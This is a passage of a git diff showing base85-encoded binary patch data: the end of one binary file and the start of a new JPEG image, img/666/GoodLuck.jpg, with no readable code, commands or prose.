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 Xz#am72<#!Shrk{J|4#@&-p%|w?t=qz literal 0 HcmV?d00001 diff --git a/img/666/GoodLuck.jpg b/img/666/GoodLuck.jpg new file mode 100644 index 0000000000000000000000000000000000000000..cd4a0a8b044685a9c17732b710f2fa40cb590f09 GIT binary patch literal 566992 zcmb4qbyQr&5S&Lie+&MjN4Sp&@CgYC@CgVApFDj+_?Y-H0Ra&y5%E(J5>gVvCuHPg zB;*hON&dbG=HDZ+aqu4ok~}7O{BZUEQ~vslL5h#_3lD{jNs56*iiu5%`PU!@69xt* z4)()rG5$kva3A4eVdG;G5I*z=l3+Y&#=^$M!NDaYCM13sg@J{QgG>5|1&>S^pIlMj zj)K)UgFxiPTS|a|eHj&-s9$Ddb4%Y0wV0HWp=n@HRCZ3&ERu$nT~gV^KdZb#T*AoM z!7(5@7Sh^3FvkH>af->Uyij$H+uq^i8rn634nC-5#KgeF{re&Q$E+|g|5p1551-(n zTkBy3SXh`3^TNS6tsZS_@~OReQJ3v7 z?=J)!-71lp&cxlw_A&y-!?1xO^0C+N0{l`?Y?=%N!fc3lA<`ns_efHq~&(U`s7g<56@SQguweV zJa^gDWQ#RnL_Sg4tO7MXd{jWIi%Jk^@ag>?=CAAnd=0V)^-1{1949I}&b~PChhW`v z;+!KUr8`%^*~oL733j0^2oc*?*buumF4vNav2z(gr}_6!#%YDv_sGGVS|>I`wkVpc zN0St)MmYG|ulAcEoiCPbx%L5!#_9`;T;De;W<5so{8aObI9u{`iHTK$lsW5Z?DoUL zk`uue`ZAfdc~88myj{YP-X^Afj1XC5OBjS7r5lCX-lGi$G@=Sb-yKW(%m^$}PPDIB zElOco#)^~PipcN_{EC?j>C)buVk>p5GXElH({W>zKCKvjfoDw4Z7!f`7`q};*{d=q z1NgEir7m5~KZ-(Z8pQIpJHgC7qL5T-7%c)y_0GdX%T)ein|yI9@Kz#rwan}em-78G zQ2O0WqYcH@+<21tl2biA)bZ7EQ`bh)tF4UgY=NpKC;s{?@DU)O*784eNhX6h z1hTYjPIE^+yX=ym+yYtFSsNV;uV`p{_T&wRG;OepbO@u_H$!thx{5V+?Lva3*uGy&44qf z{!kEq`E;U5M_WC1dhoKzx4yAS;!d|r%fN6R0Cv#^A?;xDx~bMmeiA;K-2Q3=Y?V{r zFmtK4s7WtU*Y6z1WLkMOUV02J%v2RW0T2#42AbUtgWp1;hzWD3kxP5d2$@xbWz1nh zkBSzfu`)|WYOl0Kqa3{^0toG}Bu`FDbME-(9KRLLmTO@nF?q>&Y&5*JLPXy;%s#vX zzc!{N1^MA>I0O*z`?Rtu=kw*B*=rHXORqVq(T`UGdwsI7#>nLMgx3|UiF5bv@Oh(O z!=e7D`hIs++oT+Ndr<=;MB#IlRhVopf1O!^XZ-7Ee zvqWy=CbQLwl^}J^XW_CG0zEjWS_{W1-Q!NrUyT#HZwh}1i`-ju2}WJyxnbE=;ef7KHn0j-mEHDq(Ox4+l);FFBkQ^S

E!C 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 